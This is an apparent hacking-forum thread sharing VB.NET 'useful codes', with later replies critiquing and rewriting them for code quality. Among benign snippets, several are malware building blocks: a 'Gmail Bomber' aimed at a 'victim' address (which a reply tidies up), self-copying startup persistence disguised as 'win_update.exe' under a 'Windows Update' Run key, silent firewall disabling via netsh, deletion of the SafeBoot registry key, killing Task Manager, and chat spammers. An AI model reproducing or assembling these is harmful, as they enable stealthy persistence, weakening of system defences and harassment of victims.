Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


[Share] Useful Codes filter_list
Author
Message
[Share] Useful Codes #1
Please note that i didnt make this, it was made by CodeBreaker But still use full.



(08-18-2010, 12:09 PM)CodeBreaker Wrote:
Useful Source Codes!
Written by CodeBreaker/TheEndGamer


Open a Website:

Code:
Process.Start("www.bumpbox.net")
Process.Start("www.myforum.net")

Open something
Code:
Shell("Notepad")
Shell("Calculator")

Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)


Kill a process

Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()

Rename a file
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")

Delete a registry key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

Create a registry key

Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()

Text To Speech:
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)

Fade in
Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next

Fade out:
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next


Gmail Bomber:


Add a Timer, 5 textboxes, button

textbox1 = Gmail Username
textbox2 = Gmail Password
textbox3 = Victim E-mail Address
textbox4 = Subject
textbox5 = Message
button1.text = send!

Add on Top Of "Public Class Form1"
Code:
Imports System.Net.Mail

Double Click Button1 and write:
Code:
timer1.start

then Double click Timer1 and write:
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MsgBox("Email Has been sent Successfully ;)")



Info Grabber


Gets OS Name:
Code:
Textbox1.text = My.Computer.Info.OSFullName

Gets OS Version & Build Number:
Code:
Textbox2.text = My.Computer.Info.OSVersion

Gets Total Physical Memory:
Code:
Textbox3.text = My.Computer.Info.TotalPhysicalMemory

Gets Available Physical Memory:
Code:
Textbox4.text = My.Computer.Info.AvailablePhysicalMemory

Gets Clipboard Text:
Code:
Textbox5.text = My.Computer.Clipboard.GetText
Gets Local Time:
Code:
Textbox6.text = My.Computer.Clock.LocalTime


Minimize To Tray

Just Add a Notifyicon

Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

End If

End Sub

Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick

If Me.WindowState = FormWindowState.Minimized Then

Me.Show()

Me.WindowState = FormWindowState.Normal

End If

End Sub


Webbrowser Exampe


Add a Webbrowser
5 buttons
1 combobox

Button1 = Back
Button2 = Forward
Button3 = Refresh
Button4 = Stop
Button5 = Go!

Button1:
Code:
Webbrowser1.goback

Button2:
Code:
webbrowser1.goforward

Button3:
Code:
webbrowser1.refresh

Button4:
Code:
webbrowser1.stop

Button5:
Code:
webbrowser1.navigate(combobox1.text)

Add Music To Your Tool:

First Add your music to Resources
Note: The File Type Of The Music must be .wav

Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)

Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()

Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString

Google Searcher


Add:
Process
Button

Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = ("http://www.google.co.uk/search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub

Case Example


Add:
1 Button
1 Textbox

Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select

Login Example:


Add:

1 button

Click The Button and write:
Code:
If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to Bumpbox.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If

Xfire Add Friender and status changer (Just an example)

Add:
2 buttons
1 webbrowser
2 textboxes


Button1.text = Change Status
Button2.text = Add Friend

Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)

Double Click Button2 and Write:
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)

Screen Capture:


You Need a large picturebox
button1 = "Shoot"
Button2 = "Save"
Textbox1
Textbox2

Double Click Button1 and write:
Code:
Dim BumpBox As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
BumpBox = Screen.PrimaryScreen.BumpBox
screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot

Double Click Button2 and write:
Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" + TextBox2.Text + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved Biggrin", MsgBoxStyle.Exclamation, "Done!")

Add Your Application To Startup

Before Public Class Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32

Now double click form1 and add the following Code:

Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

Picture Viewer:

Add:
1 Button
1 PictureBox

Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try

Chat Spammer

Add:

2 Buttons
1 Timer

Double Click Button1(Start) and write:
Code:
timer1.start

Double Click Button2(Stop) and write:
Code:
timer1.stop

Then... Double Click Timer1 and Write:
Code:
SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

HotKeyChat Spammer!

Drag a textbox out there follow up with 2 timer's. Change Timer2 to Enabled = True
Add 2 labels and change label1.text to Start=F1 and label2.text stop=F2 (or whatever key you choose to use).

Double click timer1 and write:
Code:
SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")

Double click Form1 and write:
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

Double click timer2 :
Code:
Dim starthotkey As Boolean
starthotkey = GetAsyncKeyState(Keys.F1)
If starthotkey = True Then
Timer1.Start()
End If
Dim stophotkey As Boolean
stophotkey = GetAsyncKeyState(Keys.F2)
If stophotkey = True Then
Timer1.Stop()
End If

NOTE: you can change GetAsyncKeyState(Keys.<insert new key here>) Ex. Keys.End)

CD-Rom Prank
Code:
Do
Dim oWMP = CreateObject("WMPlayer.OCX.7")
Dim colCDROMs = oWMP.cdromCollection
If colCDROMs.Count = 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ' cdrom
End If
Loop


Disable Firewall:

Code:
Dim Bumpbox As Process = New Process
Dim top As String = "netsh.exe"
Bumpbox.StartInfo.Arguments = ("firewall set opmode disable")
Bumpbox.StartInfo.FileName = top
Bumpbox.StartInfo.UseShellExecute = False
Bumpbox.StartInfo.RedirectStandardOutput = True
Bumpbox.StartInfo.CreateNoWindow = True
Bumpbox.Start()
Bumpbox.WaitForExit()


Shutdown Manager:


Shutdown:
Code:
Shell("Shutdown -s")

Restart:
Code:
Shell("Shutdown -r")

LogOff:
Code:
Shell("Shutdown -l")


Thanks For Visiting The Thread!
I Hope u enjoyed it Biggrin

Reply

RE: [Share] Useful Codes #2
By headlines:

1. "Open Something" - Don't use shell, the Process class will work just fine still for doing this.

2. "Delete a file"
Code:
If System.IO.File.Exists(FileToDelete) = True Then

You don't need "= True" in there. That's just an extra unnecessary step in evaluating the boolean expression.

3. [color=red]"Kill a process"
- This code assumes that there is a process running by the name of taskmgr.exe, at least one, and so if there is no running processes by that name, you'll get an exception for referencing index (0). Secondly, the name, you want to input without the ".exe".

4. "Delete a registry key" - Microsoft.Win32 has functionality to interact with the registry as a note here. In your other Registry "snippet" you are using Microsoft.Win32, while here you are using My.Computer from Microsoft.VisualBasic.

5. "Text To Speech" - SpeechSynthesizer is 100 times better than using old SAPI here. This is more the VB6 way of doing it... And it promotes poor code for how you create the object.

6. "Fade in"
Code:
For FadeIn = 0.0 To 1.1 Step 0.1

Why 1.1? Opacity is from 0.0 to 1.0. I wouldn't do it this way though either.

7. "Fade out" - Same thing as Fade in, you may want to go to 0... Although why start with Integers here and have to divide by 100 each time? In "Fade in" Double was used.

8. "Gmail bomber" - SmtpClient implements the IDisposable interface, and no Dispose() method is being called here... You could also use the Using statement.

9. "Info Grabber" - The Environment class would work here too for a few of these, and I would recommend it as well.

10. "Case Example" - You've got implicit type casting going on in this bit of code, and Rnd() should be replaced with the functionality from the Random class in my opinion. Int() is an old VB6 carry over as well...

11. "Login Example" - Should be noted here that this should not be used for a very secure application.

12. "Xfire Add Friender and status changer (Just an example)" - Could do this with webrequests unless for some reason the elements on the page have to be loaded as well for a visual?

13. "Screen Capture" - Should be disposing of a few resources here...

14. "Add Your Application To Startup" - Not very pretty code here. Bad use of Try Catch. Performance loss is to be mentioned here as a consideration for what the way this code is written.

15. "HotKeyChat Spammer" - GetAsyncKeyState is not being used in a suitable manner here. It is not event based, so the reason for why you need a timer here that calls it consistently is a sign of poor application design.

16. "CD-Rom Prank" - There are better ways to do this as well through P/Invoke Win32 functions. This is the worst way of doing it, and probably something more suited if programming in VB6.

17. "Shutdown Manager" - I'm seeing Shell() again... The Process class from System.Diagnostics should be used instead.

*Note: I skipped over some. This was just a running post of what I seen as I skimmed through some of the examples.
-- cxS

[ Haskell/.NET/C/C++ - Software Engineer ]

Reply

RE: [Share] Useful Codes #3
Well thank you, again it was just a share. The way it sounds, you know basic well. How about you make one so that way it is easier and better!?

Reply

RE: [Share] Useful Codes #4
(02-27-2013, 08:35 PM)shizelkid Wrote: Well thank you, again it was just a share. The way it sounds, you know basic well. How about you make one so that way it is easier and better!?

Make a tutorial? I'm not much of a tutorial writer, mostly because I just don't like writing them.

I can revise the code though.
-- cxS

[ Haskell/.NET/C/C++ - Software Engineer ]

Reply

RE: [Share] Useful Codes #5
That would be lovely. Thank you.

Reply

RE: [Share] Useful Codes #6
"Open Something":
Code:
Process.Start("notepad.exe")
Code:
Process.Start("calc.exe")

"Kill A Process":
Code:
Dim procs As Process() = Process.GetProcessesByName("taskmgr")
If procs.Length > 0 Then
    procs(0).Kill()
End If

"Text To Speech":
Code:
Private R As New Random()
Sub MainMethod()
    Dim s As New SpeechSynthesizer()
    AddHandler s.SpeakCompleted, AddressOf SoundFinished

    Dim voices As ReadOnlyCollection(Of InstalledVoice) = s.GetInstalledVoices()
    s.SelectVoice(voices(R.Next(0, voices.Count)).VoiceInfo.Name)
    Dim info As VoiceInfo = s.Voice

    s.SpeakAsync(String.Format("Hello, my name is {0}. I am an {1}, and if you can tell by my voice I am a {2}. By the way, my ID is {3}.", info.Name.Split(" "c)(1), info.Age, info.Gender, info.Id))
End Sub

Private Sub SoundFinished(sender As Object, e As SpeakCompletedEventArgs)
    DirectCast(sender, SpeechSynthesizer).Dispose()
End Sub

Note:
- Imports System.Speech
- Imports System.Collections.ObjectModel
- Imports System.Speech.Synthesis ' Need to add reference manually

"Fade out": *Same thing as Fade in but with Double's.

"Gmail Bomber":
Code:
Using MyMailMessage As New MailMessage(TextBox1.Text, TextBox3.Text)
    With MyMailMessage
        .Subject = (TextBox4.Text)
        .Body = TextBox5.Text
    End With
    Using SMTPServer As New SmtpClient("smtp.gmail.com", 587)
        With SMTPServer
            .Credentials = New NetworkCredential(TextBox1.Text, TextBox2.Text)
            .EnableSsl = True
            .Send(MyMailMessage)
        End With
    End Using
End Using
MsgBox("Email Has been sent Successfully ;)")

"Info Grabber": There's various ways to do this without using My.Computer (and especially if you're using C#, and you don't feel like adding a reference to the Microsoft.VisualBasic dll). There's Win32 API's that can be P/Invoke'd to retrieve the information for some of these.

"Screen Capture": A Bitmap object is disposable. There is a few other minor things that I would change here, but other than that it is good enough.

"HotKeyChat Spammer": A keyboard hook would be much more efficient... And less resource intensive.

"CD-Rom Prank": You can P/Invoke mciGetErrorString and mciSendString to achieve this.

"Shutdown Manager": Same thing...

Code:
Process.Start("shutdown.exe", "-s")
etc...
-- cxS

[ Haskell/.NET/C/C++ - Software Engineer ]

Reply

RE: [Share] Useful Codes #7
This thread teaches some very bad coding habits, as cxS has already pointed out. For example, he's telling you to use WebBrowsers instead of WebClients. It's a nice thread for the noobies who just Copypasta their code, but for someone who would like to learn, this thread is awful, haha.
[Image: F4Z9Dqw.png]

Reply

RE: [Share] Useful Codes #8
(02-28-2013, 09:10 AM)BreShiE Wrote: This thread teaches some very bad coding habits, as cxS has already pointed out. For example, he's telling you to use WebBrowsers instead of WebClients. It's a nice thread for the noobies who just Copypasta their code, but for someone who would like to learn, this thread is awful, haha.

WebBrowser isn't horrible, even though it uses an old version of IE. The problem is the way people use it. For doing things on the web that don't require the visual. And for people that add a WebBrowser to use it with Visible property set to false, that's even worse.

Why load all the elements and parse them out on a webpage if you don't need to take an HTTP request that far?
-- cxS

[ Haskell/.NET/C/C++ - Software Engineer ]

Reply

RE: [Share] Useful Codes #9
(02-28-2013, 09:18 AM)cxS Wrote:
(02-28-2013, 09:10 AM)BreShiE Wrote: This thread teaches some very bad coding habits, as cxS has already pointed out. For example, he's telling you to use WebBrowsers instead of WebClients. It's a nice thread for the noobies who just Copypasta their code, but for someone who would like to learn, this thread is awful, haha.

WebBrowser isn't horrible, even though it uses an old version of IE. The problem is the way people use it. For doing things on the web that don't require the visual. And for people that add a WebBrowser to use it with Visible property set to false, that's even worse.

Why load all the elements and parse them out on a webpage if you don't need to take an HTTP request that far?

Well, yeah that's what I meant. If you need a GUI to go along with what you're doing, then it's fine, but if you only need 1 certain string from the request, then use WebRequests. There's no point loading a whole control when you're not going to use it for its purpose. It's a waste of resources and time.
[Image: F4Z9Dqw.png]

Reply







Users browsing this thread: 1 Guest(s)